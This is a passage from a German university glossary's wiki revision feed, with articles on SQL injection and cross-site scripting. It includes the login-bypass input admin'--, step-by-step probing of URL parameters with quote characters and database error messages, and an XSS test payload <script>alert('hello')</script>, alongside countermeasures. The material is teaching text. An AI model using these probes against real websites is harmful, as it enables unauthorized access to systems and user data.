Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;--&#039; AND password =&#039;beliebig&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;&lt;br /&gt;
&lt;br /&gt;
verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,&lt;br /&gt;
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [9], 2006 das T-Online Karriereform&lt;br /&gt;
so einen passwortlosen Zugang erlaubte.&lt;br /&gt;
&lt;br /&gt;
=How to=&lt;br /&gt;
&lt;br /&gt;
Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.&lt;br /&gt;
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe&lt;br /&gt;
mit den Endungen &amp;quot;.asp&amp;quot; und &amp;quot;.cmf&amp;quot; gesucht, da hier die meisten Probleme zu erwarten sind [10]. Um die Anfälligkeit der so&lt;br /&gt;
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über&lt;br /&gt;
die Zahl 512&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,&lt;br /&gt;
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des&lt;br /&gt;
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so&lt;br /&gt;
aussieht: „name=val’ue“.&lt;br /&gt;
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung&lt;br /&gt;
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt&lt;br /&gt;
aussehen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 1:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for SQL Server error ’80040e14’&lt;br /&gt;
&lt;br /&gt;
Unclosed quotation mark before the character string&lt;br /&gt;
&lt;br /&gt;
’51 ORDER BY some_name’.&lt;br /&gt;
&lt;br /&gt;
/some_directory/some_file.asp, line 5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 2:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ODBC Error Code = S1000 (General error)&lt;br /&gt;
&lt;br /&gt;
[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended&lt;br /&gt;
&lt;br /&gt;
Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML&lt;br /&gt;
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.&lt;br /&gt;
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.&lt;br /&gt;
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte&lt;br /&gt;
Anwendung für SQL-Injection zugänglich ist.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Beispiel nach [7].&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und&lt;br /&gt;
[[Prepared statements]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools&lt;br /&gt;
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection&lt;br /&gt;
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer&lt;br /&gt;
Seite auf Schwachstellen testet.&lt;br /&gt;
&lt;br /&gt;
(Weitere Tools dieser ARt können bei www.astalavista.com gefunden werden.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Da der Mensch allerdings gerade bei destruktiven Aufgaben weit&lt;br /&gt;
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute&lt;br /&gt;
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige&lt;br /&gt;
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind&lt;br /&gt;
in im weiterführenden Link zu finden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,&lt;br /&gt;
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher&lt;br /&gt;
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -&lt;br /&gt;
das gilt auch für die Variablen in den URLs!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht&lt;br /&gt;
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine&lt;br /&gt;
Vermischung dieser beiden Filterarten ist möglich.&lt;br /&gt;
&lt;br /&gt;
=weiterführender Link=&lt;br /&gt;
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015]] Beispielliste mit sicheren&lt;br /&gt;
Datenbankabfragen in unterschiedlichen Programmiersprachen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners&lt;br /&gt;
&lt;br /&gt;
[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com &lt;br /&gt;
&lt;br /&gt;
[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion&lt;br /&gt;
&lt;br /&gt;
[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&lt;br /&gt;
&lt;br /&gt;
[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&lt;br /&gt;
&lt;br /&gt;
[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015&lt;br /&gt;
&lt;br /&gt;
[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&lt;br /&gt;
&lt;br /&gt;
[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
*[[Codeinjection]]&lt;br /&gt;
&lt;br /&gt;
*[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
*[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9663</id>
		<title>SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9663"/>
		<updated>2007-06-25T14:48:11Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen&lt;br /&gt;
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht.&lt;br /&gt;
&lt;br /&gt;
Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen&lt;br /&gt;
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die&lt;br /&gt;
Parameter einer URL an die Webseite weitergereicht werden.&lt;br /&gt;
&lt;br /&gt;
=Beispiel=&lt;br /&gt;
Bei .asp und .cfm Skripten treten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder&lt;br /&gt;
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;$username&#039; AND password =&#039;$password&#039;&lt;br /&gt;
&lt;br /&gt;
In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden:&lt;br /&gt;
&lt;br /&gt;
&amp;quot;admin&#039;--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;--&#039; AND password =&#039;beliebig&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;&lt;br /&gt;
&lt;br /&gt;
verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,&lt;br /&gt;
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da beispielsweise 2006 das T-Online Karriereform&lt;br /&gt;
so einen passwortlosen Zugang erlaubte.&lt;br /&gt;
&lt;br /&gt;
=How to=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.&lt;br /&gt;
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe&lt;br /&gt;
mit den Endungen &amp;quot;.asp&amp;quot; und &amp;quot;.cmf&amp;quot; gesucht, da hier die meisten Probleme zu erwarten sind [10]. Um die Anfälligkeit der so&lt;br /&gt;
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über&lt;br /&gt;
die Zahl 512&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,&lt;br /&gt;
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des&lt;br /&gt;
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so&lt;br /&gt;
aussieht: „name=val’ue“.&lt;br /&gt;
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung&lt;br /&gt;
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt&lt;br /&gt;
aussehen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 1:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for SQL Server error ’80040e14’&lt;br /&gt;
&lt;br /&gt;
Unclosed quotation mark before the character string&lt;br /&gt;
&lt;br /&gt;
’51 ORDER BY some_name’.&lt;br /&gt;
&lt;br /&gt;
/some_directory/some_file.asp, line 5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 2:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ODBC Error Code = S1000 (General error)&lt;br /&gt;
&lt;br /&gt;
[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended&lt;br /&gt;
&lt;br /&gt;
Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML&lt;br /&gt;
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.&lt;br /&gt;
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.&lt;br /&gt;
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte&lt;br /&gt;
Anwendung für SQL-Injection zugänglich ist.&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und&lt;br /&gt;
[[Prepared statements]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools&lt;br /&gt;
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection&lt;br /&gt;
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer&lt;br /&gt;
Seite auf Schwachstellen testet.&lt;br /&gt;
&lt;br /&gt;
(Weitere Tools dieser ARt können bei www.astalavista.com gefunden werden.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Da der Mensch allerdings gerade bei destruktiven Aufgaben weit&lt;br /&gt;
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute&lt;br /&gt;
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige&lt;br /&gt;
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind&lt;br /&gt;
in im weiterführenden Link zu finden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,&lt;br /&gt;
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher&lt;br /&gt;
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -&lt;br /&gt;
das gilt auch für die Variablen in den URLs!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht&lt;br /&gt;
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine&lt;br /&gt;
Vermischung dieser beiden Filterarten ist möglich.&lt;br /&gt;
&lt;br /&gt;
=weiterführender Link=&lt;br /&gt;
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015]] Beispielliste mit sicheren&lt;br /&gt;
Datenbankabfragen in unterschiedlichen Programmiersprachen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners&lt;br /&gt;
&lt;br /&gt;
[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com &lt;br /&gt;
&lt;br /&gt;
[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion&lt;br /&gt;
&lt;br /&gt;
[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&lt;br /&gt;
&lt;br /&gt;
[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&lt;br /&gt;
&lt;br /&gt;
[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015&lt;br /&gt;
&lt;br /&gt;
[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&lt;br /&gt;
&lt;br /&gt;
[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
*[[Codeinjection]]&lt;br /&gt;
&lt;br /&gt;
*[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
*[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9662</id>
		<title>Cross Site Scripting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9662"/>
		<updated>2007-06-25T14:41:32Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,&lt;br /&gt;
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten&lt;br /&gt;
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des&lt;br /&gt;
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen.&lt;br /&gt;
&lt;br /&gt;
Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der&lt;br /&gt;
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle&lt;br /&gt;
Informationen.&lt;br /&gt;
&lt;br /&gt;
Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,&lt;br /&gt;
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte&lt;br /&gt;
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern&lt;br /&gt;
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um&lt;br /&gt;
den angegriffenen Server unerreichbar zu machen.&lt;br /&gt;
&lt;br /&gt;
==Reflektiertes XSS==&lt;br /&gt;
&lt;br /&gt;
Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und&lt;br /&gt;
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In&lt;br /&gt;
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server&lt;br /&gt;
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch&lt;br /&gt;
eine E-Mail Adresse sein.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer&lt;br /&gt;
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation&lt;br /&gt;
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu&lt;br /&gt;
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser.&lt;br /&gt;
&lt;br /&gt;
==Persistentes (beständiges) XSS==&lt;br /&gt;
&lt;br /&gt;
Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen&lt;br /&gt;
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird&lt;br /&gt;
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch&lt;br /&gt;
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,&lt;br /&gt;
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.&lt;br /&gt;
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage&lt;br /&gt;
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den&lt;br /&gt;
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten&lt;br /&gt;
HTML-Code vorfinden.&lt;br /&gt;
&lt;br /&gt;
==Lokales ([[DOM]]-basiertes) XSS==&lt;br /&gt;
&lt;br /&gt;
Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff&lt;br /&gt;
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen&lt;br /&gt;
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache&lt;br /&gt;
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in&lt;br /&gt;
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code&lt;br /&gt;
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den&lt;br /&gt;
Angreifer weitergeleitet werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im&lt;br /&gt;
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies&lt;br /&gt;
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf&lt;br /&gt;
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,&lt;br /&gt;
da der lokale Benutzer oft gleichzeitig der Administrator ist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und&lt;br /&gt;
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der&lt;br /&gt;
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung&lt;br /&gt;
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers&lt;br /&gt;
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser&lt;br /&gt;
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite.&lt;br /&gt;
&lt;br /&gt;
==XSS – eine kleine „Anleitung“==&lt;br /&gt;
&lt;br /&gt;
Zunächst müssen potentielle Opfer gefunden werden, d.h. es muss nach Anzeichen für die Angreifbarkeit&lt;br /&gt;
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer&lt;br /&gt;
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,&lt;br /&gt;
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen&lt;br /&gt;
kann ein Anzeichen für die Anfälligkeit auf XSS sein.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.&lt;br /&gt;
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,&lt;br /&gt;
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer&lt;br /&gt;
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses&lt;br /&gt;
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in&lt;br /&gt;
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte&lt;br /&gt;
z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.&lt;br /&gt;
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS&lt;br /&gt;
geschützt ist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dazu wird in das selbe Feld JavaScript Code eingetragen, wie z.B.&lt;br /&gt;
„&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;“ und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,&lt;br /&gt;
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen&lt;br /&gt;
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da&lt;br /&gt;
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite&lt;br /&gt;
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und&lt;br /&gt;
